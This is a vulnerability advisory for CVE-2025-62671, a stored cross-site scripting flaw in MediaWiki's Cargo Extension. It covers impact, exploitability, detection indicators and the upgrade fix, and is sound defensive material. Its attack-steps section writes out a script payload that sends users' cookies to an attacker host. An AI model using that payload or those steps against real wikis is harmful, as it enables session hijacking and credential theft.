CVE-2025-62671: 
PHP vulnerability analysis and mitigation

CVE-2025-62671 is a Stored Cross-Site Scripting (XSS) vulnerability in the Wikimedia Foundation's MediaWiki Cargo Extension, classified under CWE-79. The flaw allows attackers to inject and persistently store malicious scripts that are later executed in the browsers of other users visiting affected wiki pages. All versions of the Cargo Extension prior to 3.8.3 are affected. The vulnerability was published on October 18, 2025, and carries a CVSS v4 base score of 6.9 (Medium) (GitHub Advisory).

The vulnerability stems from improper neutralization of user-controllable input before it is rendered in web page output (CWE-79), enabling Stored XSS attacks. An attacker can submit crafted input through the Cargo Extension's data entry mechanisms, which is then persistently stored and later served to other users without adequate sanitization or encoding. The attack requires no authentication (Privileges Required: None), no user interaction beyond normal page visits, and no special attack conditions, making it straightforward to exploit over the network. The fix was introduced in commit e509156 of the wikimedia/mediawiki-extensions-Cargo repository, and the underlying issue is tracked in Wikimedia's Phabricator as T402147 (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who view the affected wiki pages, impacting confidentiality, integrity, and availability at both the vulnerable and subsequent system levels (all rated Low per CVSS v4). Practical consequences include session hijacking, credential theft, defacement of wiki content, phishing via injected content, and potential lateral movement within the wiki environment if administrative users are targeted. Because the payload is stored server-side, all users visiting the compromised page are at risk without any further attacker interaction (GitHub Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of this report. The EPSS score is approximately 0.047% (18th percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (GitHub Advisory).

1. Reconnaissance: Identify MediaWiki instances running the Cargo Extension at versions prior to 3.8.3, using version disclosure in page footers, Special:Version pages, or web scanning tools.
2. Identify injectable fields: Locate Cargo-managed data entry forms or wiki pages where user-supplied data is stored via the Cargo Extension (e.g., template fields backed by Cargo tables).
3. Craft XSS payload: Prepare a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent HTML event handler injection.
4. Submit malicious input: Enter the crafted payload into a Cargo-backed form field or wiki page that stores data in a Cargo table, without requiring authentication.
5. Trigger execution: When any user (including administrators) visits the wiki page that renders the stored Cargo data, the injected script executes in their browser, enabling session theft, credential harvesting, or further attacks (GitHub Advisory).

• Logs: MediaWiki access logs showing POST requests to Cargo data entry endpoints containing HTML tags or JavaScript keywords (<script>, onerror=, javascript:) in field values.
• Database: Cargo database tables containing entries with embedded HTML/JavaScript payloads in text fields that should contain plain data.
• Network: Outbound requests from user browsers to unexpected external domains shortly after visiting Cargo-rendered wiki pages, potentially indicating cookie or credential exfiltration.
• Browser/Client: Users reporting unexpected redirects, pop-ups, or authentication prompts when viewing specific wiki pages backed by Cargo data.

The Wikimedia Foundation has released version 3.8.3 of the MediaWiki Cargo Extension, which addresses this vulnerability. Administrators should upgrade to Cargo Extension 3.8.3 or later immediately. The patch is available via the Wikimedia Gerrit repository (change 1179707) and the wikimedia/mediawiki-extensions-Cargo package on Composer. No configuration-based workaround is documented; upgrading is the recommended and only confirmed remediation (GitHub Advisory).